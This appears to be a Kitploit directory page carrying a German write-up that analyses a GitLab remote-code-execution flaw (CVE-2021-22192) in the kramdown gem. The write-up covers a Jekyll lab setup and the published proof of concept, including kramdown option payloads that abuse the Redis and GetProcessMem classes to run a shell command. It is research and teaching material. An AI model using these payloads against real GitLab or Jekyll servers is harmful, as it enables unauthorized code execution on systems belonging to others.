Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Tools/GitHubGitHub/petrusviet/gitlab-rce
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Repository anzeigen
123vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Analyse der RCE-Schwachstelle in Gitlab (CVE-2021–22192)

I) Aufbau

  • Dieser Fehler tritt in GitLab Community Edition (CE) und Enterprise Edition (EE) in den Versionen (>=13.2, <13.7.9), (>=13.8, <13.8.6) und (>=13.9, <13.9.4) auf.
  • Du kannst der Anleitung von lyy289065406 folgen, um die Umgebung aufzubauen.

II) Analyse

Als ich mit der Analyse dieses Fehlers begann, hatte ich nur einige wertvolle Informationen von lyy289065406, die mir halfen, das Kernproblem dieses Bugs zu verstehen. Es schien, dass der Fehler in der gem kramdown (<= 2.3.0) liegt, also beschäftigte ich mich zuerst mit kramdown.

1. Kramdown

Wir können den Patch von kramdown prüfen und sehen den Unterschied in der Funktion formatter_class im Modul Kramdown::Converter::SyntaxHighlighter::Rouge.

::Rouge::Formatters.const_get(formatter) wurde zu ::Rouge::Formatters.const_get(formatter, false) geändert.

Die Methode const_get wird von der Klasse Object geerbt und kann Konstanten abrufen. Sie kann sogar Klassen zurückgeben, die zuvor deklariert wurden und die sie finden kann. Der Unterschied besteht hier nur im zusätzlichen Parameter false. Durch das Hinzufügen von false kann const_get keine Konstanten aus übergeordneten Klassen oder Modulen mehr abrufen.

Besonders ist außerdem, dass in der Funktion self.call formatter_class aufgerufen und anschließend new(opts) ausgeführt wird. Das bedeutet, dass die über const_get ermittelte Methode über den Konstruktor initialisiert wird.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. Wie kann man das also ausnutzen???

Mithilfe von Kramdown:Options können wir die Funktion Kramdown::Converter::SyntaxHighlighter::Rouge.call aufrufen.

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Außerdem sehen wir, dass im Modul Kramdown:Options die Funktion simple_hash_validator YAML.safe_load(val) aufruft. Damit können wir auch eine YML-Datei konfigurieren, um die gewünschte Payload an Kramdown::Converter::SyntaxHighlighter::Rouge zu übergeben.

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown wird von Jekyll, GitLab Pages, GitHub Pages und Thredd Forum verwendet. Deshalb habe ich beschlossen, es zuerst mit Jekyll auszuprobieren.

2. jekyll

Zuerst muss ich Jekyll aufsetzen:

  • Jekyll installieren
root@kitploit:~
gem install jekyll
  • Jekyll-Seite mit dem Namen jekyllTest erstellen
root@kitploit:~
jekyll new jekyllTest
  • Die Datei Gemfile.lock bearbeiten, um die kramdown-Version auf <= 2.3.0 zu setzen
root@kitploit:~
cd jekyllTest

Datei Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • Seite installieren
root@kitploit:~
 bundle install

Damit haben wir eine Jekyll-Seite erstellt. Nun können wir eine Payload einfügen, um zu sehen, ob Kramdown::Converter::SyntaxHighlighter::Rouge.call tatsächlich eine Methode aufrufen kann.

Wir können in die Datei ./_config.yml Folgendes einfügen:

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Oder ein kramdown-Dokument verwenden, indem wir die Payload in ./_posts/*.markdown einfügen.

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Hier verwende ich die zweite Methode =)))))

  • Wir deployen die Jekyll-Seite
root@kitploit:~
 bundle exec jekyll serve

Möglicherweise tritt der Fehler "require': cannot load such file -- webrick (LoadError)" auf; du musst gem "webrick" zur Gemfile hinzufügen

  • Wir sehen die Fehlermeldung private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Das zeigt, dass die Klasse CSV aufgerufen wurde.

Als Nächstes muss ich festlegen, welche Methode gewählt werden soll, damit der Konstruktoraufruf eine RCE auslösen kann?

Laut einem Analyseartikel zu CVE-2020-10518, der den kramdown-Fehler nutzt, um eine RCE auf GitHub auszulösen, ziele ich auf die Klasse Hoosegow:

  • Wir sehen, dass in der Funktion initialize von Hoosegow load_inmate_methods aufgerufen wird.
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • In load_inmate_methods sehen wir, dass require inmate_file aufgerufen wird.
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • Aber inmate_file wird durch Verkettung von @inmate_dir mit 'inmate.rb' erzeugt. Wenn wir diese Klasse aufrufen und den Parameter inmate_dir auf den Pfad zu unserer Payload-Datei setzen können, würde dann nicht hier eine RCE auftreten?

  • Ich führe ein Skript im Pfad der Jekyll-Seite aus, um die definierten Methoden zu überprüfen:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Leider gibt es keine Klasse mit dem Namen Hoosegow, selbst als ich den Skriptabbruch umgangen habe, indem ich die Bedingung ob.name == "Hoosegow" verwendet habe.
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • Es stellte sich heraus, dass die Klasse Hoosegow in meinem Klassenpfad nicht deklariert war. Ich fügte gem "hoosegow" zur Gemfile hinzu, und das Skript fand diese Klasse. [Hehehe]

  • Als Nächstes versuche ich, Hoosegow über kramdown aufzurufen.

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Bumm. Es passierte nichts, die Klasse Hoosegow wurde immer noch nicht aufgerufen. =)))))))))
  • Ich hing hier fest ... eine Woche. Ja, eine Woche ist dafür draufgegangen. Ich kreiste um die Frage: „Warum ist die Klasse Hoosegow in Bundler vorhanden, aber wenn ich sie über Kramdown aufrufe, klappt es nicht? Es sollte doch eigentlich funktionieren ???“

  • Ich dachte: „Wenn es in der Gemfile deklariert ist, bedeutet das, dass die Klasse im Klassenpfad vorhanden ist. Wenn das Programm 'Hoosegow' also immer noch nicht findet, dann ist sie sicherlich noch nicht geladen worden ...“ Welche Möglichkeit gibt es also, eine gem zu deklarieren, sodass Jekyll beim Start die gem lädt, bevor andere Teile im Quellverzeichnis verarbeitet werden?

  • Ich habe die Jekyll-Doku gelesen und jekyll_plugins gefunden. Meine Deklaration in der Gemfile war nicht genug; man muss die gem in der Gruppe jekyll_plugins deklarieren, erst dann klappt es :( Denn wenn die gem in jekyll_plugins deklariert ist, wird sie auf jeden Fall geladen, bevor Jekyll andere Quellen verarbeitet, selbst wenn Jekyll im Safe-Modus läuft.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Ich erstelle eine Datei inmate.rb unter C:/ und führe dann die Payload aus:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Die Datei inmate.rb wurde aufgerufen. Damit sind wir dem erfolgreichen PoC schon ziemlich nahe, nicht wahr?

3. Gitlab

  • Gitlab hat die Funktion Gitlab Page, dort kann ich eine Jekyll-Seite deployen. Deshalb habe ich versucht, die Payload in Form eines Jekyll-Page-Projekts (wie oben) auf Gitlab zu deployen.
  • Die Frage ist, wie man die Datei inmate.rb auf den Gitlab-Server bringt und herausfindet, wo sich die gerade hochgeladene Datei inmate.rb befindet ??
  • Das ist recht einfach, wenn wir die Berechtigung haben, Projekte zu erstellen und sie auf Gitlab zu deployen. Wir können die Datei inmate.rb direkt in unser Projekt hochladen und die Datei .gitlab-ci.yml bearbeiten.
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Dadurch erfahren wir, wo unser Projekt gespeichert wird. Von dort aus können wir unsere Payload erstellen :)

Warum sollten wir einen PoC schreiben, wenn wir die Datei .gitlab-ci.yml ändern und Befehle einschleusen können? Befinde ich mich etwa auf dem Weg zum Self-RCE?

  • Diese Frage kam sofort auf, als ich die Datei .gitlab-ci.yml bearbeitete. Ich habe versucht, sie auf verschiedene Weisen zu erklären: „Vielleicht gibt es einen Mechanismus, der .yml-Dateien scannt, bevor sie geladen werden?“, ... aber das hat mich nicht zufriedengestellt ...
  • Ich habe untersucht, wie Gitlab Gitlab Pages deployt. Dabei stellte ich fest, dass der Gitlab-Runner-Server bei jedem Deploy einer neuen Seite oder bei jeder Änderung einer Datei im Pages-Projekt das Projekt in statische Webseiten rendert und sie dann an den Gitlab-Webserver übermittelt. Das bedeutet, dass dieser Angriffsweg maximal den Runner-Server übernehmen kann. Den Runner-Server zu übernehmen ist nicht besonders kritisch, da es sich nur um Self-RCE handelt. Irgendetwas schien nicht ganz in Ordnung.
  • Ich suchte nach einem anderen Eingabeweg, nämlich der Wiki-Seite. Die Wiki-Seite erlaubt das Kramdown-Format, also habe ich es dort versucht, aber ohne Ergebnis, weil ich die Payload nur in die Standarddatei '*.md' eingefügt habe und die '*.md'-Datei die erforderlichen Funktionen einschränkt. Deshalb habe ich diesen Weg verworfen :(

  • An diesem Punkt musste ich anhalten und auf die Veröffentlichung des PoC warten, um Zeit für andere Forschung zu haben.

PoC veröffentlicht

An einem schönen Tag wurde der PoC veröffentlicht. Nach dem Lesen bekam ich starke Gänsehaut, das ist unbeschreiblich =)).

Wir lagen mit dem Kernproblem in kramdown richtig, aber der Weg dorthin bei Gitlab war wohl etwas lahm =)

  • Der Autor entdeckte, dass beim Hochladen einer Wiki-Seite mit einer '*.rmd'-Datei das Programm render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render aufruft. Dadurch wird die '*.rmd'-Datei mit kramdown gerendert.

  • Der Autor lud seine '.rmd'-Datei hoch, indem er die Wiki-Seite lokal klonte und dann mit git die Wiki-Seite (einschließlich der '.rmd'-Datei) auf Gitlab pushte.

  • Der Autor verwendete die Klasse Redis (sie ist im Gitlab-Projekt bereits deklariert, daher können wir diese Klasse aufrufen und verwenden), um seine Payload auszuführen.

Beim Initialisieren der Klasse Redis ruft das Programm die Methode _parse_driver auf, wenn die Option driver vorhanden ist. Dort ruft das Programm require "connection/#{driver}" auf; wir können die Variable driver beeinflussen, sodass das Programm die Payload-Datei lädt, die wir auf den Server hochgeladen haben.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • Mit der Funktion zum Erstellen eines neuen snippet kann ein Angreifer eine Ruby-Payload über Attach a file hochladen.

  • In diesem Exploit muss der Angreifer den Speicherort der hochgeladenen Payload-Datei herausfinden. Das veranlasste den Autor, einen anderen Exploit-Weg zu finden:

Unter Verwendung des Ansatzes, über Kramdown die Klasse Redis aufzurufen, importierte der Autor zuerst die gem get_process_mem mit folgender Payload:

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Danach verwendet er die zuvor importierte gem get_process_mem, um RCE auszuführen.

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Somit kann ein Angreifer RCE auf dem Gitlab-Server ausführen, ohne die Adresse der Payload-Datei zu kennen.

Referenzen:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Tool herunterladen